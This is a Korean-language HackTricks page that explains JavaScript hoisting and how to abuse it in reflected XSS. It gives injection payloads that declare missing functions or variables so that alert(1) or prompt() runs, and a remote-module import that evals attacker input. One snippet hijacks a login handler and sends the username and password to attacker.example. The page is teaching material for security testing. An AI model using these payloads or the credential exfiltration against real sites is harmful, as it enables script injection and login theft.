JS Hoisting

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

JavaScript 언어에는 선언된 변수, 함수, 클래스 또는 import가 코드 실행 전에 개념적으로 스코프의 맨 위로 끌어올려지는 Hoisting이라는 메커니즘이 있습니다. 이 과정은 JavaScript 엔진이 스크립트를 여러 번 훑어가며 자동으로 수행합니다.

첫 번째 패스에서는 엔진이 구문 오류를 검사하고 코드를 추상 구문 트리로 변환하기 위해 파싱합니다. 이 단계에는 특정 선언들을 실행 컨텍스트의 맨 위로 이동시키는 hoisting이 포함됩니다. 파싱 단계가 성공적으로 완료되어 구문 오류가 없으면 스크립트 실행이 진행됩니다.

다음 점을 이해하는 것이 중요합니다.

  1. 스크립트는 실행되기 위해 구문 오류가 없어야 합니다. 구문 규칙을 엄격히 준수해야 합니다.
  2. 스크립트 내 코드의 배치가 hoisting 때문에 실행에 영향을 미치며, 실제로 실행되는 코드는 텍스트상의 표현과 다를 수 있습니다.

Hoisting의 종류

MDN의 정보를 기반으로 JavaScript에는 네 가지 구별되는 hoisting 유형이 있습니다.

  1. Value Hoisting: 선언문 이전에도 스코프 내에서 변수의 값을 사용할 수 있게 합니다.
  2. Declaration Hoisting: 선언 이전에 스코프 내에서 변수를 참조해도 ReferenceError를 발생시키지 않지만 변수의 값은 undefined가 됩니다.
  3. 이 유형은 선언문이 실제 선언 라인보다 앞서서 스코프 내 동작을 변경합니다.
  4. 선언의 부작용이 해당 선언을 포함하는 나머지 코드가 평가되기 전에 발생합니다.

자세히 보면, 함수 선언은 type 1 hoisting 동작을 보입니다. var 키워드는 type 2 동작을 보입니다. let, const, class를 포함하는 렉시컬 선언은 type 3 동작을 보입니다. 마지막으로 import 문은 type 1과 type 4 동작을 모두 가지는 독특한 특성을 가집니다.

시나리오

따라서 선언되지 않은 객체가 사용된 뒤에 Inject JS code after an undeclared object할 수 있는 시나리오가 있다면, 해당 객체를 선언해서 fix the syntax할 수 있고(그렇게 하면 에러를 던지는 대신 당신의 코드가 실행됩니다):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

추가 시나리오

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting to bypass exception handling

sink가 try { x.y(...) } catch { ... }로 감싸져 있으면, ReferenceError 때문에 payload가 실행되기 전에 실행이 중단됩니다. 호출이 살아남도록 누락된 식별자를 미리 선언하면 주입한 표현식이 먼저 실행되게 할 수 있습니다:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){}는 평가 전에 호이스팅되므로 파서가 더 이상 x.y(...)에서 예외를 던지지 않습니다. prompt()y가 해결되기 전에 실행되고, 그 후에 당신의 코드가 실행된 다음 TypeError가 발생합니다.

나중 선언을 방지하기 위해 const로 이름을 고정하기

최상위의 function foo(){...}가 파싱되기 전에 실행할 수 있다면, 동일한 이름으로 렉시컬 바인딩(예: const foo = ...)을 선언하면 나중의 함수 선언이 그 식별자를 재바인딩하는 것을 방지할 수 있습니다. 이는 RXSS에서 페이지 후반에 정의된 중요한 핸들러를 탈취하는 데 악용될 수 있습니다:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

노트

  • 이것은 실행 순서와 전역(최상위) 스코프에 의존합니다.
  • 페이로드가 eval() 내부에서 실행된다면, eval 내부의 const/let은 블록 스코프이므로 전역 바인딩을 생성하지 않는다는 것을 기억하세요. 진정한 전역 const를 설정하려면 해당 코드를 포함한 새로운 <script> 요소를 주입하세요.

사용자 제어 스펙 지정자와 동적 import()

서버 사이드 렌더링된 앱은 때때로 사용자 입력을 import()로 전달해 컴포넌트를 지연 로드합니다. import-in-the-middle 같은 로더가 있으면, 스펙 지정자로부터 래퍼 모듈이 생성됩니다. 호이스팅된 import 평가는 이후 라인보다 먼저 공격자가 제어하는 모듈을 가져와 실행하므로 SSR 컨텍스트에서 RCE를 가능하게 합니다 (CVE-2023-38704 참조).

도구

최신 스캐너들은 명시적인 호이스팅 페이로드를 추가하기 시작했습니다. KNOXSS v3.6.5는 “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” 및 “Hoisting Override” 테스트 케이스를 열거합니다; 이를 ReferenceError/TypeError를 발생시키는 RXSS 컨텍스트에 실행하면 호이스팅 기반 가젯 후보를 빠르게 드러냅니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기